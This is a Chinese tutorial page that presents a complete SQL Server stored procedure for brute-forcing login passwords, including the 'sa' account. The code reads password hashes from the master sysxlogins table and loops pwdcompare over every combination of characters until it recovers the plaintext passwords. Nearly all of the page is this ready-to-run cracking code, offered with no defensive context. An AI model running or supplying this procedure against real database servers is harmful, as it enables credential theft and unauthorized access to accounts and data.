当前位置: 首页 > 图文教程 > 数据库 > MSSQL > 存储过程实例:SQL Server Sa密码破解

MSSQL
SQL Server TEXT、NTEXT字段拆分的问题
SQL Server事务日志的几个常用操作
SQL Server不存在或拒绝访问故障的排除
动态创建MSSQL数据库表存储过程
教你如何在SQL Server计算列和平均值
如何应用SQL Server中的DBCC避免堵塞
SQLServer2000分布式事务错误解决方法
通用SQL数据库查询语句精华使用简介
利用typeperf工具收集SQL Server性能数据
SQL 2008 FileStream数据类型
自定义用于ASP Web站点的 SQL 7.0 数据库
SQL server 2005安装问题大全
利用"SQL"语句自动生成序号的两种方式
SQL Server数据库管理员必备的DBCC命令
讲解在SQL Server 2005中实现异步触发器架构
SQL Server 2008的新特性概述:集成服务
SQL Server 2008关系数据库引擎的新增功能
浅析SQL 2008的Change Data Capture功能
在IIS中为SQL Server 2008配置报表服务
SQL Server 2008中报表服务详解

MSSQL 中的 存储过程实例:SQL Server Sa密码破解


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-30   浏览: 114 ::
收藏到网摘: n/a

  一个SQL Server Sa密码破解的存储过程:

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

drop procedure [dbo].[p_GetPassword]

GO

/*--穷举法破解 SQL Server 用户密码

可以破解中文,特殊字符,字符+尾随空格的密码

为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII

理论上可以破解任意位数的密码

条件是你的电脑配置足够,时间足够

/*--调用示例

exec p_GetPassword

--*/

create proc p_GetPassword

@username sysname=null, --用户名,如果不指定,则列出所有用户

@pwdlen int=2 --要破解的密码的位数,默认是2位及以下的

as

set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end

select top 255 id=identity(int,0,1) into #t from syscolumns

alter table #t add constraint PK_#t primary key(id)

select name,password

,type=case when xstatus&2048=2048 then 1 else 0 end

,jm=case when password is null then 1 else 0 end

,pwdstr=cast('' as sysname)

,pwd=cast('' as varchar(8000))

into #pwd

from master.dbo.sysxlogins a

where srvid is null

and name=isnull(@username,name)

declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)

declare @l int

select @l=0

,@s1='char(aa.id)'

,@s2='cast(aa.id as varchar)'

,@s3=',#t aa'

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwd.jm=0

and pwdcompare('+@s1+',pwd.password,pwd.type)=1

')

while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)

begin

select @l=@l+1

,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'

,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'

,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwd.jm=0

and pwdcompare('+@s1+',pwd.password,pwd.type)=1

')

end

select 用户名=name,密码=pwdstr,密码ASCII=pwd

from #pwd

go